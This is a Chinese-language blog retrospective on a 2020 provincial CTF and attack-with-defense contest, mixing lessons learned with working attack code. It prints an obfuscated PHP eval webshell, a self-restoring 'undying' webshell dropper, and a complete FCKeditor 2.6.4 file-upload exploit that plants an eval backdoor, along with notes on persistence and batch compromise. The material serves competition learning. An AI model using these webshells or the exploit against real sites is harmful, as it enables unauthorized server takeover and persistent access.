2020河北省赛线下经验总结
0x00 写在前面
这是在比赛开始之前,分工后自己简单写的一个比赛思路。
1. 修改ssh {passwd} && 修改mysql{set password = password('password');}
2. 备份源码
3. 扫描源码
4. 简单审计 上waf 删除一句话 删站观察是否check
5. 利用一句话去打别人 流量混淆 webshell混淆 权限维持
6. (主机发现)
7. 提权 办ip 修改php.ini禁用危险函数
8. 目录扫描 漏洞挖掘
0x01 开干
SSH连上之后,居然发现自己是root!因为于是我找到php配置文件 php.ini,禁用了一些危险函数,上完 waf之后就开始攻击别的队伍了。
很快找到了一个文件上传漏洞,很快上传了一个webshell,密码是yueyejian
<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(39).$_uU(121).$_uU(117).$_uU(101).$_uU(121).$_uU(101).$_uU(106).$_uU(105).$_uU(97).$_uU(110).$_uU(39).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>
然后再网站主页上传了内存木马俗称不死马,会自动生成上面内容的webshell
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = 'webshell.php';
$code = base64_decode('PD9waHAgJF91VT1jaHIoOTkpLmNocigxMDQpLmNocigxMTQpOyRfY0M9JF91VSgxMDEpLiRfdVUoMTE4KS4kX3VVKDk3KS4kX3VVKDEwOCkuJF91VSg0MCkuJF91VSgzNikuJF91VSg5NSkuJF91VSg4MCkuJF91VSg3OSkuJF91VSg4MykuJF91VSg4NCkuJF91VSg5MSkuJF91VSgzOSkuJF91VSgxMjEpLiRfdVUoMTE3KS4kX3VVKDEwMSkuJF91VSgxMjEpLiRfdVUoMTAxKS4kX3VVKDEwNikuJF91VSgxMDUpLiRfdVUoOTcpLiRfdVUoMTEwKS4kX3VVKDM5KS4kX3VVKDkzKS4kX3VVKDQxKS4kX3VVKDU5KTskX2ZGPSRfdVUoOTkpLiRfdVUoMTE0KS4kX3VVKDEwMSkuJF91VSg5NykuJF91VSgxMTYpLiRfdVUoMTAxKS4kX3VVKDk1KS4kX3VVKDEwMikuJF91VSgxMTcpLiRfdVUoMTEwKS4kX3VVKDk5KS4kX3VVKDExNikuJF91VSgxMDUpLiRfdVUoMTExKS4kX3VVKDExMCk7JF89JF9mRigiIiwkX2NDKTtAJF8oKTs/Pg==');
while(true) {
if(md5(file_get_contents($file))!==md5($code)) {
file_put_contents($file, $code);
}
usleep(50);
}
?>
就这样试了试了很多ip,很多已经做好防御了,或者网站已经被打没了,最后只拿到了两三个 webshell。这里总结了一个教训,如果会写重放的脚本,就不用一个一个慢慢上传了,直接一键在所有靶机上尝试种 webshell
0x02 赛后反思
这次是第一次打awd,并没有拿到什么奖,但是积累了很多经验,发现了自己的很多不足,也是一次非常有意义的比赛了。
比赛分两天进行,第1天是ctf,第2天才是awd。
CTF
第一天的ctf就给我好好上了一课。web2是一个写文章的小网站,简单测试发现存在 sql注入和 xss,数据库里面并没有发现什么可以利用的信息,然后超级密码可以直接登录 admin,所以也没有再考虑 xss拿cookie了。这里就草率了,之前看到过sql注入也可以 getshell,但是没有好好去学,最后讨论说思路就是用sql注入来读取文件,歪日了。
扫描后发现用到了 fckeditor,这里开始就有点坑了。首先是查看 fckeditor版本信息发现是 2.6.4
http://127.0.0.1/fckeditor/editor/dialog/fck_about.html
http://127.0.0.1/FCKeditor/_whatsnew.html
找到了这个存在漏洞的网页
/editor/filemanager/connectors/php/connector.php
于是我就利用这个poc去打,脚本老是运行不成功。
<?
//fckeditor <= 2.6.4 任意文件上传漏洞, php coldfunsion应该KO了,asp表示很淡定,其他语言版本未测
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
$match = array();
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
print $resp;
return $resp;
}
function connector_response($html)
{
global $match;
return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}
print "\n+------------------------------------------------------------------+";
print "\n| FCKEditor Servelet Arbitrary File Upload Exploit by Wolegequ |";
print "\n+------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /\n";
print "\nExample....: php $argv[0] localhost /FCKEditor/\n";
die();
}
$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);
$filename = "fvck.gif";
$foldername = "fuck.php%00.gif";
$connector = "editor/filemanager/connectors/php/connector.php";
$payload = "-----------------------------265001916915724\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: image/jpeg\r\n\r\n";
$payload .= 'GIF89a'."\r\n".'<?php eval($_POST[a]) ?>'."\n";
$payload .= "-----------------------------265001916915724--\r\n";
$packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";
//print $packet;
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
print $packet;
if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Job done! try http://${host}/$match[2] \n";
?>
于是我手动发包成功了,返回了一个上传路径,类似以下图片(当时没有截图),但是我却怎么也访问不到我上传的一句话文件
搞了两个小时,还是没有利用成功。赛后出题人说这道题的思路就是 sql注入利用,还有xss,我人傻了。出题人说这个网站本来存在挺多漏洞的,他都修好了,沃日,修好了也不提醒一下。于是ctf就这样含恨结束了。
AWD
AWD的不足就更多了,比赛开始之后并没有给半小时防御时间,所以一开赛有一点慌了,忘记备份数据库和修改数据库密码,导致后面大佬把数据库搞没了,也恢复不过来。
键入 whoami的时候发现是 root权限,可以办 ip,这样别人就打不进来了,但是没有办。
获取 flag的方式是 curl 一个主办方提供的网址,然后会回显 flag。当时直接把自己靶机上的 curl删了不就好了。
没有把 html目录改成755 root root,网站很多文件都是 www-data www-data,别人拿到 webshell可以直接删站。
没有把大佬上传的 webshell拷贝下来研究。
不会杀不死马。
分析流量日志。
不会写批量脚本,这也是很致命的一点。
上传的 webshell也是最简单的不死马,现在什么蠕虫webshell都有了,但是自己从来没有了解过。
0x03 写在最后
这也不会,那也不会。赛前还大放厥词说要干翻xxx学校,结果被人按在地上来回摩擦。希望半年之内能把自己不会的东西都掌握好,同时也不能再挂科了。